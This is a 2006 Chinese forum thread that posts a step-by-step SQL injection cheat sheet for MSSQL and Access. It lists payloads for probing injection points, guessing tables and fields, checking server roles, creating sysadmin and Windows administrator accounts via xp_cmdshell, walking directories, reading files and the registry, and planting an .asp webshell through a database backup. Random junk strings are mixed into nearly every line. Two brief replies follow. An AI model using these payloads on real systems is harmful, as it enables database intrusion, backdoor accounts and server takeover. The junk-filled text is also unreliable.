社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4261阅读
  • 2回复

手动方式SQL注入脚本命令

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
1.判断是否有注入;and 1=1 ;and 1=2 -*sDa6L  
  2.初步判断是否是mssql ;and user>0 fjUyx:  
|wKC9O@%  
  3.注入参数是字符'and [查询条件] and ''=' A|#9  
r^ ?Qo  
  4.搜索时没过滤参数的'and [查询条件] and '%25'=' RZ!-,|"cwL  
ta*B#2D>  
  5.判断数据库系统 ( Ck|RojC  
6xs_@Vk|d  
  ;and (select count(*) from sysobjects)>0 mssql /-wAy-W  
kzhncku  
  ;and (select count(*) from msysobjects)>0 access JkazB1h  
i6)$pARp  
j*m7&wOE  
Z-RgN  
  6.猜数据库 ;and (select Count(*) from [数据库名])>0 aClXg-  
ic:_v?k  
  7.猜字段 ;and (select Count(字段名) from 数据库名)>0 VRYj&s'@  
n>tYeN)F<  
  8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 sXm/+I^  
uL^Qtmm>M  
  9.(1)猜字段的ascii值(access) G"bItdb  
zV\\T(R)  
  ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 QvK-3w;=  
<im BFw  
  (2)猜字段的ascii值(mssql) yz}Agc4.I  
F:.rb Ei  
  ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (gQ^jmZPG  
DFKU?#R  
  10.测试权限结构(mssql) c|[:vin  
0/d+26lR  
33lD`4i+  
<wge_3W#  
  ;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ~3 Y)o|D3  
H gMLh*  
  ;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6 6x> *  
+A 6xY  
  ;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--  T|NNd1>  
9FT;?~,  
  ;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- r5XG$:$8\  
Gn+D%5)$I  
  ;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- )6#dxb9  
e%w>QN`  
  ;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~y%8uHL:  
<N11$t&_  
  ;and 1=(select IS_MEMBER('db_owner'));-- "q(#,,_  
1;<J] S$$  
T8 k@DS  
u+eA>{  
  11.添加mssql和系统的帐户 7a Fvj  
zhbp"yju7  
  ;exec master.dbo.sp_addlogin username;-- 0 !yvcviw  
  ;exec master.dbo.sp_password null,username,password;-- XJ~_FiB  
=e/{fUg8f  
  ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 'f9 fw^  
tuuc9H4B  
  ;exec master.dbo.xp_cmdshell 'net user username password ;aKdRhDo  
i $H aE)qZ  
  /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- p#W[he  
L;=:OX 0  
  ;exec master.dbo.xp_cmdshell 'net user username password /add';-- & IVwm"  
[H5TtsQ[  
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- TN}YRXtW+  
4]jN@@  
[6Y6{.%~  
f?T6Ne'  
  12.(1)遍历目录 [$_d|Z  
E(A7DXzbR  
  ;create table dirs(paths varchar(100), id int) mw9;LNi\D  
|e@9YDZ  
  ;insert dirs exec master.dbo.xp_dirtree 'c:\' J&w%lYiu5  
CZ*c["x2  
  ;and (select top 1 paths from dirs)>0 :1"{0 gm  
8Czy<}S<G  
  ;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) gNJ,Bj Pd  
jA R@?X  
k;PQVF&E  
DQM\Y{y|3  
  (2)遍历目录 $F-qqkR$  
_IJPZ'Hr  
  ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <Y9vc:S  
  ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 w4U]lg<}E  
SovK|b &  
  ;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 YRF%].A%2  
'+ 1<7jl&I  
  ;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 s0"S;{_#  
',k0 _n?t  
  ;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 K*Y.mM)  
:nYl]Rm  
}R:eKj  
^& ZlV  
  13.mssql中的存储过程 [OBj2=  
1TbY,3W  
  xp_regenumvalues 注册表根键, 子键 } 5i0R  
y#8| @?  
  ;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ZzPlIl}\  
9\RSJGx6  
  xp_regread 根键,子键,键值名 Mw2?U>h1  
es@_6ol.@  
  ;exec xp_regread ;u!qu$O  
0Qvbc}KP8  
  'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ;:Q 5?zM  
PLR[nB7K  
  xp_regwrite 根键,子键, 值名, 值类型, 值 I#QBJ#  
hW[/{2<@  
  值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [=079UN-X  
a9PSg/p  
  ;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 _hyboQi  
{s!DRc]ln  
  xp_regdeletevalue 根键,子键,值名 ZKTOif}  
Wf/Gt\?  
  exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 n5 dFp%k  
O, 6U pk  
  xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 @mBZu!,  
laN:H mR8  
7UvfXzDNC  
%7 h _D  
  14.mssql的backup创建webshell <CIJ g*  
ko\VDyt,  
  use model s@sRdoTdF  
k"F5'Od  
  create table cmd(str image); IBWUXG;  
s 7re  
  insert into cmd(str) values (''); ^Ts|/+}'i  
MjCD;I:C.  
  backup database model to disk='c:\l.asp'; $A\fm`  
/,dcr*  
[mph iH/  
IFNs)*  
  15.mssql内置函数 6j{9\ R  
tr0P ;}=  
  ;and (select @@version)>0 获得Windows的版本号 {vh}f+2  
+@[T0cXp  
  ;and user_name()='dbo' 判断当前系统的连接用户是不是sa ScU?T<u:i  
W|J8QNL?jm  
  ;and (select user_name())>0 爆当前系统的连接用户 ?{l}35Q.@  
:4s{?IY)l  
  ;and (select db_name())>0 得到当前连接的数据库 :GXiA  
U<J4\|1?7'  
fCTdM+t  
(&R /ns~  
  16.简洁的webshell a5jc8S>  
NXsDn&&O  
  use model D+?/MrP  
4eTfb  
  create table cmd(str image); -L@4da[]i  
Xdj` $/RI  
  insert into cmd(str) values (''); NfizX!w&  
)*@n G$i99  
  backup database model to disk='g:\wwwtest\l.asp';
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院博士
发帖
3975
铜板
4727
人品值
1147
贡献值
565
交易币
0
好评度
3833
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-08-31
学习.......... 呵呵 我是好人
引用

引用
想找我?如果我即不在 石家庄经济学院论坛www.uebbs.net,也不在宿舍,那,我肯定是在去的路上

引用
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2006-08-31
这个和好人有关系吗?
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五